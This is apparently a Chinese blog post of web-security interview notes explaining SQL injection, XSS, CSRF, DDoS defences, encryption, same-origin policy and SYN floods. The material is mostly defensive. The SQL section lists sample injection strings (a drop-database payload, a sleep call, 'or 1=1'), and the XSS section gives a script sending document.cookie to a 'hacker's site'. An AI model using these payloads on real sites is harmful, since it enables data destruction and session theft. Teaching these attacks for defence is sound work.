网络安全,我懂了!你咧?

解决web安全问题主要从哪些方面入手

sql注入攻击

原因是没有对输入输出进行安全过滤,后台直接将用户输入,当做sql语句的一部分,然后直接执行了,导致用户对sql语句可控。

$uuid = $_GET['uuid'];
$sql = "select * from user where uuid={$uuid}";
//这里就有问题了
//如果uuid = 1;'drop databases'
//或者uuid = 1;select sleep(999999) 
//或者 uuid =1 or 1=1 

预防

1.不要随意开启生产环境中webserver的错误显示,防止被黑客看到数据库信息
2.不要相信用户端的变量输入,要根据变量的对应格式,进行校验过滤
3.使用预编译绑定变量的sql语句。PDO 和mysql预编译等
4.数据库权限管理,
5.加密用户的机密信息。 数据库存敏感信息用密文

针对第二种方式,过滤转义。下面提供四个函数,总有一个适合你
(1)stripslashes()
删除反斜杠
(2)htmlentities()
把字符转为实体。(ps: 实体就是页面你看到的)
(3)htmlspecialchars()
把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体
(4)strip_tags()
剥去字符串中的 HTML 标签:
剥去字符串中的 HTML、XML 以及 PHP 的标签

听过盲注吗?解释一下,和报错注入,普通注入的区别?

盲注是猜测,然后验证
报错注入是故意填错,然后看到报错信息里面的关键信息
普通注入就是拼接恶意sql

跨站脚本攻击 XSS ?怎么预防?

输入一些
<script>alert('xss')</script>
或者
<script>window.open('黑客的网站'?param="+document.cookie")</script>

预防:
主要是 php函数转义
其他预防看下图
在这里插入图片描述

这篇写的很详细

跨站伪造请求攻击 -CSRF

CSRF
其实也就是通过某些方式,获取用户的授权信息,或者登陆信息,进行跨站请求伪造。
一般网站有同源策略,但有些时候,前端因为某种情况让你处理成不跨域,然后你一通操作,其实你不仅方便了前端,也方便了黑客。

预防:
1.CSRF token
在这里插入图片描述

2 验证请求的来源站点,CSRF攻击大多数都是来自第三方站点,通过https请求头中的referer和origin属性
但是referer可以伪造
在这里插入图片描述
3.要求用户输入验证码,比如手机验证码, (最可靠)
或者跳转别的网站加提示 比如知乎的实现

文件上传漏洞攻击

分布式拒绝服务攻击

请求太多,就有一部分服务被拒绝
分布式指的是 不是一台服务器,是很多服务器
DDOS
我总结一下我的理解:占着茅坑不拉屎,让需要的人无坑可拉。

那怎么处理呢?
1.限制每个ip的请求速度(这个配置可以预防nginx不被跑死)
在这里插入图片描述

2.限制后端服务器的连接数
在这里插入图片描述
3.关闭慢连接
在这里插入图片描述
4.设置ip黑名单
在这里插入图片描述
5.设置白名单
在这里插入图片描述
6.使用缓存进行流量削峰
在这里插入图片描述
7.屏蔽特定的请求
在这里插入图片描述
8.限制到后端服务器的连接数

在这里插入图片描述

9.用nginx+lua实现自动ip封禁和限流
(lua将ip访问量存入redis,结合redis进行ip访问频率等的追踪和自动封禁)

10.高防服务器(公司有钱的话花钱,运营商会帮你处理,恶意流量):(增加监控,不让这些人进来)
11.CDN 加速 : (分流原理,CDN 服务将网站访问流量分配到了各个节点中,通过隐藏ip,也就是隐藏坑位。因为分配各个节点,相当于也保护了我们的源站崩溃)
12.DDoS 清洗 : 清洗会对用户请求数据进行实时监控,及时发现DOS攻击等异常流量,在不影响正常业务开展的情况下清洗掉这些异常流量
(ps:也就是派打扫厕所的阿姨,如果你占着茅坑不拉屎,阿姨就一直喷消毒液,把你熏出来)

13.加代理层 内网代理ip

对称加密,非对称加密是什么?

  • 对称加密:加解密用同一个密钥,密钥维护复杂,不适合互联网传输密钥,加解密效率高,应用于加密数据
  • 非对称加密:公钥推不出私钥,每个用户一个非对称密钥对就可以,适合于互联网传输公钥,但是加密效率低,应用于数字签名及加密

总结一下:也就是说,如果加密解密用同一个密钥的,那是这就是对称加密。不安全,如果一方泄露,那都完了了。
非对称加密是有一个公钥和私钥,用公钥加密,要用对应的私钥解密。所以更加安全,
公钥是公开的,私钥是自己的。

什么是同源策略?

为了防止不同域在用户浏览器中彼此干扰,浏览器对从不同来源(域)收到的内容进行隔离。
浏览器不允许任何脚本访问一个站点的cookie,否则,会话容易被劫持
只有发布cookie的站点能够访问这些cookie,只有通过该站点返回的页面所包含或者加载的javaScript才能访问cookie

总结一下:所谓同源是指,域名,协议,端口相同
作为一个后端,想想是不是经常前端会找你,说这个跨域了,让你处理一下,就是因为同源策略
不懂看这里

SYN攻击原理?

首先这是一种DDoS攻击,利用了TCP协议的缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。服务器收到连接请求(syn=j),将此消息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。如果客户端在短时间内伪造大量不存在的ip地址,向服务器不断发送syn包,服务器恢复确认包,并等待客户确认,由于源地址不存在,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃。
目标系统会运行缓慢。
在这里插入图片描述
在这里插入图片描述

有图有真相

参透测试?参透测试的流程了解过没?

在这里插入图片描述
这是一门职业,我的兴趣,别人的职业。懂了再总结。

参透测试

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mr.杰瑞

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值